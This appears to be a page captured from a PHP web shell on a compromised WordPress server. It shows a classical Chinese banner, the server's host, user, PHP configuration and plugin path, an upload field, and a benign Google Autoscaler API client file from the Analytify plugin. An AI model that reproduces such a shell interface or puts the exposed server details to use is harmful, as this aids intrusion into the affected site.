晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/stando/public_html/wp-content/plugins/wp-analytify/lib/Google/Service/ |
Upload File : |
<?php
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
/**
* Service definition for Autoscaler (v1beta2).
*
* <p>
* The Google Compute Engine Autoscaler API provides autoscaling for groups of Cloud VMs.
* </p>
*
* <p>
* For more information about this service, see the API
* <a href="http://developers.google.com/compute/docs/autoscaler" target="_blank">Documentation</a>
* </p>
*
* @author Google, Inc.
*/
class Analytify_Google_Service_Autoscaler extends Analytify_Google_Service
{
/** View and manage your Google Compute Engine resources. */
const COMPUTE = "https://www.googleapis.com/auth/compute";
/** View your Google Compute Engine resources. */
const COMPUTE_READONLY = "https://www.googleapis.com/auth/compute.readonly";
public $autoscalers;
public $zoneOperations;
/**
* Constructs the internal representation of the Autoscaler service.
*
* @param Analytify_Google_Client $client
*/
public function __construct(Analytify_Google_Client $client)
{
parent::__construct($client);
$this->servicePath = 'autoscaler/v1beta2/';
$this->version = 'v1beta2';
$this->serviceName = 'autoscaler';
$this->autoscalers = new Analytify_Google_Service_Autoscaler_Autoscalers_Resource(
$this,
$this->serviceName,
'autoscalers',
array(
'methods' => array(
'delete' => array(
'path' => 'projects/{project}/zones/{zone}/autoscalers/{autoscaler}',
'httpMethod' => 'DELETE',
'parameters' => array(
'project' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'zone' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'autoscaler' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
),
),'get' => array(
'path' => 'projects/{project}/zones/{zone}/autoscalers/{autoscaler}',
'httpMethod' => 'GET',
'parameters' => array(
'project' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'zone' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'autoscaler' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
),
),'insert' => array(
'path' => 'projects/{project}/zones/{zone}/autoscalers',
'httpMethod' => 'POST',
'parameters' => array(
'project' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'zone' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
),
),'list' => array(
'path' => 'projects/{project}/zones/{zone}/autoscalers',
'httpMethod' => 'GET',
'parameters' => array(
'project' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'zone' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'filter' => array(
'location' => 'query',
'type' => 'string',
),
'pageToken' => array(
'location' => 'query',
'type' => 'string',
),
'maxResults' => array(
'location' => 'query',
'type' => 'integer',
),
),
),'patch' => array(
'path' => 'projects/{project}/zones/{zone}/autoscalers/{autoscaler}',
'httpMethod' => 'PATCH',
'parameters' => array(
'project' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'zone' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'autoscaler' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
),
),'update' => array(
'path' => 'projects/{project}/zones/{zone}/autoscalers/{autoscaler}',
'httpMethod' => 'PUT',
'parameters' => array(
'project' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'zone' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'autoscaler' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
),
),
)
)
);
$this->zoneOperations = new Analytify_Google_Service_Autoscaler_ZoneOperations_Resource(
$this,
$this->serviceName,
'zoneOperations',
array(
'methods' => array(
'delete' => array(
'path' => '{project}/zones/{zone}/operations/{operation}',
'httpMethod' => 'DELETE',
'parameters' => array(
'project' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'zone' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'operation' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
),
),'get' => array(
'path' => '{project}/zones/{zone}/operations/{operation}',
'httpMethod' => 'GET',
'parameters' => array(
'project' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'zone' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'operation' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
),
),'list' => array(
'path' => '{project}/zones/{zone}/operations',
'httpMethod' => 'GET',
'parameters' => array(
'project' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'zone' => array(
'location' => 'path',
'type' => 'string',
'required' => true,
),
'filter' => array(
'location' => 'query',
'type' => 'string',
),
'pageToken' => array(
'location' => 'query',
'type' => 'string',
),
'maxResults' => array(
'location' => 'query',
'type' => 'integer',
),
),
),
)
)
);
}
}
/**
* The "autoscalers" collection of methods.
* Typical usage is:
* <code>
* $autoscalerService = new Analytify_Google_Service_Autoscaler(...);
* $autoscalers = $autoscalerService->autoscalers;
* </code>
*/
class Analytify_Google_Service_Autoscaler_Autoscalers_Resource extends Analytify_Google_Service_Resource
{
/**
* Deletes the specified Autoscaler resource. (autoscalers.delete)
*
* @param string $project
* Project ID of Autoscaler resource.
* @param string $zone
* Zone name of Autoscaler resource.
* @param string $autoscaler
* Name of the Autoscaler resource.
* @param array $optParams Optional parameters.
* @return Analytify_Google_Service_Autoscaler_Operation
*/
public function delete($project, $zone, $autoscaler, $optParams = array())
{
$params = array('project' => $project, 'zone' => $zone, 'autoscaler' => $autoscaler);
$params = array_merge($params, $optParams);
return $this->call('delete', array($params), "Analytify_Google_Service_Autoscaler_Operation");
}
/**
* Gets the specified Autoscaler resource. (autoscalers.get)
*
* @param string $project
* Project ID of Autoscaler resource.
* @param string $zone
* Zone name of Autoscaler resource.
* @param string $autoscaler
* Name of the Autoscaler resource.
* @param array $optParams Optional parameters.
* @return Analytify_Google_Service_Autoscaler_Autoscaler
*/
public function get($project, $zone, $autoscaler, $optParams = array())
{
$params = array('project' => $project, 'zone' => $zone, 'autoscaler' => $autoscaler);
$params = array_merge($params, $optParams);
return $this->call('get', array($params), "Analytify_Google_Service_Autoscaler_Autoscaler");
}
/**
* Adds new Autoscaler resource. (autoscalers.insert)
*
* @param string $project
* Project ID of Autoscaler resource.
* @param string $zone
* Zone name of Autoscaler resource.
* @param Analytify_Google_Autoscaler $postBody
* @param array $optParams Optional parameters.
* @return Analytify_Google_Service_Autoscaler_Operation
*/
public function insert($project, $zone, Analytify_Google_Service_Autoscaler_Autoscaler $postBody, $optParams = array())
{
$params = array('project' => $project, 'zone' => $zone, 'postBody' => $postBody);
$params = array_merge($params, $optParams);
return $this->call('insert', array($params), "Analytify_Google_Service_Autoscaler_Operation");
}
/**
* Lists all Autoscaler resources in this zone. (autoscalers.listAutoscalers)
*
* @param string $project
* Project ID of Autoscaler resource.
* @param string $zone
* Zone name of Autoscaler resource.
* @param array $optParams Optional parameters.
*
* @opt_param string filter
*
* @opt_param string pageToken
*
* @opt_param string maxResults
*
* @return Analytify_Google_Service_Autoscaler_AutoscalerListResponse
*/
public function listAutoscalers($project, $zone, $optParams = array())
{
$params = array('project' => $project, 'zone' => $zone);
$params = array_merge($params, $optParams);
return $this->call('list', array($params), "Analytify_Google_Service_Autoscaler_AutoscalerListResponse");
}
/**
* Update the entire content of the Autoscaler resource. This method supports
* patch semantics. (autoscalers.patch)
*
* @param string $project
* Project ID of Autoscaler resource.
* @param string $zone
* Zone name of Autoscaler resource.
* @param string $autoscaler
* Name of the Autoscaler resource.
* @param Analytify_Google_Autoscaler $postBody
* @param array $optParams Optional parameters.
* @return Analytify_Google_Service_Autoscaler_Operation
*/
public function patch($project, $zone, $autoscaler, Analytify_Google_Service_Autoscaler_Autoscaler $postBody, $optParams = array())
{
$params = array('project' => $project, 'zone' => $zone, 'autoscaler' => $autoscaler, 'postBody' => $postBody);
$params = array_merge($params, $optParams);
return $this->call('patch', array($params), "Analytify_Google_Service_Autoscaler_Operation");
}
/**
* Update the entire content of the Autoscaler resource. (autoscalers.update)
*
* @param string $project
* Project ID of Autoscaler resource.
* @param string $zone
* Zone name of Autoscaler resource.
* @param string $autoscaler
* Name of the Autoscaler resource.
* @param Analytify_Google_Autoscaler $postBody
* @param array $optParams Optional parameters.
* @return Analytify_Google_Service_Autoscaler_Operation
*/
public function update($project, $zone, $autoscaler, Analytify_Google_Service_Autoscaler_Autoscaler $postBody, $optParams = array())
{
$params = array('project' => $project, 'zone' => $zone, 'autoscaler' => $autoscaler, 'postBody' => $postBody);
$params = array_merge($params, $optParams);
return $this->call('update', array($params), "Analytify_Google_Service_Autoscaler_Operation");
}
}
/**
* The "zoneOperations" collection of methods.
* Typical usage is:
* <code>
* $autoscalerService = new Analytify_Google_Service_Autoscaler(...);
* $zoneOperations = $autoscalerService->zoneOperations;
* </code>
*/
class Analytify_Google_Service_Autoscaler_ZoneOperations_Resource extends Analytify_Google_Service_Resource
{
/**
* Deletes the specified zone-specific operation resource.
* (zoneOperations.delete)
*
* @param string $project
*
* @param string $zone
*
* @param string $operation
*
* @param array $optParams Optional parameters.
*/
public function delete($project, $zone, $operation, $optParams = array())
{
$params = array('project' => $project, 'zone' => $zone, 'operation' => $operation);
$params = array_merge($params, $optParams);
return $this->call('delete', array($params));
}
/**
* Retrieves the specified zone-specific operation resource.
* (zoneOperations.get)
*
* @param string $project
*
* @param string $zone
*
* @param string $operation
*
* @param array $optParams Optional parameters.
* @return Analytify_Google_Service_Autoscaler_Operation
*/
public function get($project, $zone, $operation, $optParams = array())
{
$params = array('project' => $project, 'zone' => $zone, 'operation' => $operation);
$params = array_merge($params, $optParams);
return $this->call('get', array($params), "Analytify_Google_Service_Autoscaler_Operation");
}
/**
* Retrieves the list of operation resources contained within the specified
* zone. (zoneOperations.listZoneOperations)
*
* @param string $project
*
* @param string $zone
*
* @param array $optParams Optional parameters.
*
* @opt_param string filter
*
* @opt_param string pageToken
*
* @opt_param string maxResults
*
* @return Analytify_Google_Service_Autoscaler_OperationList
*/
public function listZoneOperations($project, $zone, $optParams = array())
{
$params = array('project' => $project, 'zone' => $zone);
$params = array_merge($params, $optParams);
return $this->call('list', array($params), "Analytify_Google_Service_Autoscaler_OperationList");
}
}
class Analytify_Google_Service_Autoscaler_Autoscaler extends Analytify_Google_Model
{
protected $autoscalingPolicyType = 'Analytify_Google_Service_Autoscaler_AutoscalingPolicy';
protected $autoscalingPolicyDataType = '';
public $creationTimestamp;
public $description;
public $id;
public $name;
public $selfLink;
public $target;
public function setAutoscalingPolicy(Analytify_Google_Service_Autoscaler_AutoscalingPolicy $autoscalingPolicy)
{
$this->autoscalingPolicy = $autoscalingPolicy;
}
public function getAutoscalingPolicy()
{
return $this->autoscalingPolicy;
}
public function setCreationTimestamp($creationTimestamp)
{
$this->creationTimestamp = $creationTimestamp;
}
public function getCreationTimestamp()
{
return $this->creationTimestamp;
}
public function setDescription($description)
{
$this->description = $description;
}
public function getDescription()
{
return $this->description;
}
public function setId($id)
{
$this->id = $id;
}
public function getId()
{
return $this->id;
}
public function setName($name)
{
$this->name = $name;
}
public function getName()
{
return $this->name;
}
public function setSelfLink($selfLink)
{
$this->selfLink = $selfLink;
}
public function getSelfLink()
{
return $this->selfLink;
}
public function setTarget($target)
{
$this->target = $target;
}
public function getTarget()
{
return $this->target;
}
}
class Analytify_Google_Service_Autoscaler_AutoscalerListResponse extends Analytify_Google_Collection
{
protected $itemsType = 'Analytify_Google_Service_Autoscaler_Autoscaler';
protected $itemsDataType = 'array';
public $nextPageToken;
public function setItems($items)
{
$this->items = $items;
}
public function getItems()
{
return $this->items;
}
public function setNextPageToken($nextPageToken)
{
$this->nextPageToken = $nextPageToken;
}
public function getNextPageToken()
{
return $this->nextPageToken;
}
}
class Analytify_Google_Service_Autoscaler_AutoscalingPolicy extends Analytify_Google_Model
{
public $coolDownPeriodSec;
protected $cpuUtilizationType = 'Analytify_Google_Service_Autoscaler_AutoscalingPolicyCpuUtilization';
protected $cpuUtilizationDataType = '';
public $maxNumReplicas;
public $minNumReplicas;
public function setCoolDownPeriodSec($coolDownPeriodSec)
{
$this->coolDownPeriodSec = $coolDownPeriodSec;
}
public function getCoolDownPeriodSec()
{
return $this->coolDownPeriodSec;
}
public function setCpuUtilization(Analytify_Google_Service_Autoscaler_AutoscalingPolicyCpuUtilization $cpuUtilization)
{
$this->cpuUtilization = $cpuUtilization;
}
public function getCpuUtilization()
{
return $this->cpuUtilization;
}
public function setMaxNumReplicas($maxNumReplicas)
{
$this->maxNumReplicas = $maxNumReplicas;
}
public function getMaxNumReplicas()
{
return $this->maxNumReplicas;
}
public function setMinNumReplicas($minNumReplicas)
{
$this->minNumReplicas = $minNumReplicas;
}
public function getMinNumReplicas()
{
return $this->minNumReplicas;
}
}
class Analytify_Google_Service_Autoscaler_AutoscalingPolicyCpuUtilization extends Analytify_Google_Model
{
public $utilizationTarget;
public function setUtilizationTarget($utilizationTarget)
{
$this->utilizationTarget = $utilizationTarget;
}
public function getUtilizationTarget()
{
return $this->utilizationTarget;
}
}
class Analytify_Google_Service_Autoscaler_Operation extends Analytify_Google_Collection
{
public $clientOperationId;
public $creationTimestamp;
public $endTime;
protected $errorType = 'Analytify_Google_Service_Autoscaler_OperationError';
protected $errorDataType = '';
public $httpErrorMessage;
public $httpErrorStatusCode;
public $id;
public $insertTime;
public $kind;
public $name;
public $operationType;
public $progress;
public $region;
public $selfLink;
public $startTime;
public $status;
public $statusMessage;
public $targetId;
public $targetLink;
public $user;
protected $warningsType = 'Analytify_Google_Service_Autoscaler_OperationWarnings';
protected $warningsDataType = 'array';
public $zone;
public function setClientOperationId($clientOperationId)
{
$this->clientOperationId = $clientOperationId;
}
public function getClientOperationId()
{
return $this->clientOperationId;
}
public function setCreationTimestamp($creationTimestamp)
{
$this->creationTimestamp = $creationTimestamp;
}
public function getCreationTimestamp()
{
return $this->creationTimestamp;
}
public function setEndTime($endTime)
{
$this->endTime = $endTime;
}
public function getEndTime()
{
return $this->endTime;
}
public function setError(Analytify_Google_Service_Autoscaler_OperationError $error)
{
$this->error = $error;
}
public function getError()
{
return $this->error;
}
public function setHttpErrorMessage($httpErrorMessage)
{
$this->httpErrorMessage = $httpErrorMessage;
}
public function getHttpErrorMessage()
{
return $this->httpErrorMessage;
}
public function setHttpErrorStatusCode($httpErrorStatusCode)
{
$this->httpErrorStatusCode = $httpErrorStatusCode;
}
public function getHttpErrorStatusCode()
{
return $this->httpErrorStatusCode;
}
public function setId($id)
{
$this->id = $id;
}
public function getId()
{
return $this->id;
}
public function setInsertTime($insertTime)
{
$this->insertTime = $insertTime;
}
public function getInsertTime()
{
return $this->insertTime;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setName($name)
{
$this->name = $name;
}
public function getName()
{
return $this->name;
}
public function setOperationType($operationType)
{
$this->operationType = $operationType;
}
public function getOperationType()
{
return $this->operationType;
}
public function setProgress($progress)
{
$this->progress = $progress;
}
public function getProgress()
{
return $this->progress;
}
public function setRegion($region)
{
$this->region = $region;
}
public function getRegion()
{
return $this->region;
}
public function setSelfLink($selfLink)
{
$this->selfLink = $selfLink;
}
public function getSelfLink()
{
return $this->selfLink;
}
public function setStartTime($startTime)
{
$this->startTime = $startTime;
}
public function getStartTime()
{
return $this->startTime;
}
public function setStatus($status)
{
$this->status = $status;
}
public function getStatus()
{
return $this->status;
}
public function setStatusMessage($statusMessage)
{
$this->statusMessage = $statusMessage;
}
public function getStatusMessage()
{
return $this->statusMessage;
}
public function setTargetId($targetId)
{
$this->targetId = $targetId;
}
public function getTargetId()
{
return $this->targetId;
}
public function setTargetLink($targetLink)
{
$this->targetLink = $targetLink;
}
public function getTargetLink()
{
return $this->targetLink;
}
public function setUser($user)
{
$this->user = $user;
}
public function getUser()
{
return $this->user;
}
public function setWarnings($warnings)
{
$this->warnings = $warnings;
}
public function getWarnings()
{
return $this->warnings;
}
public function setZone($zone)
{
$this->zone = $zone;
}
public function getZone()
{
return $this->zone;
}
}
class Analytify_Google_Service_Autoscaler_OperationError extends Analytify_Google_Collection
{
protected $errorsType = 'Analytify_Google_Service_Autoscaler_OperationErrorErrors';
protected $errorsDataType = 'array';
public function setErrors($errors)
{
$this->errors = $errors;
}
public function getErrors()
{
return $this->errors;
}
}
class Analytify_Google_Service_Autoscaler_OperationErrorErrors extends Analytify_Google_Model
{
public $code;
public $location;
public $message;
public function setCode($code)
{
$this->code = $code;
}
public function getCode()
{
return $this->code;
}
public function setLocation($location)
{
$this->location = $location;
}
public function getLocation()
{
return $this->location;
}
public function setMessage($message)
{
$this->message = $message;
}
public function getMessage()
{
return $this->message;
}
}
class Analytify_Google_Service_Autoscaler_OperationList extends Analytify_Google_Collection
{
public $id;
protected $itemsType = 'Analytify_Google_Service_Autoscaler_Operation';
protected $itemsDataType = 'array';
public $kind;
public $nextPageToken;
public $selfLink;
public function setId($id)
{
$this->id = $id;
}
public function getId()
{
return $this->id;
}
public function setItems($items)
{
$this->items = $items;
}
public function getItems()
{
return $this->items;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setNextPageToken($nextPageToken)
{
$this->nextPageToken = $nextPageToken;
}
public function getNextPageToken()
{
return $this->nextPageToken;
}
public function setSelfLink($selfLink)
{
$this->selfLink = $selfLink;
}
public function getSelfLink()
{
return $this->selfLink;
}
}
class Analytify_Google_Service_Autoscaler_OperationWarnings extends Analytify_Google_Collection
{
public $code;
protected $dataType = 'Analytify_Google_Service_Autoscaler_OperationWarningsData';
protected $dataDataType = 'array';
public $message;
public function setCode($code)
{
$this->code = $code;
}
public function getCode()
{
return $this->code;
}
public function setData($data)
{
$this->data = $data;
}
public function getData()
{
return $this->data;
}
public function setMessage($message)
{
$this->message = $message;
}
public function getMessage()
{
return $this->message;
}
}
class Analytify_Google_Service_Autoscaler_OperationWarningsData extends Analytify_Google_Model
{
public $key;
public $value;
public function setKey($key)
{
$this->key = $key;
}
public function getKey()
{
return $this->key;
}
public function setValue($value)
{
$this->value = $value;
}
public function getValue()
{
return $this->value;
}
}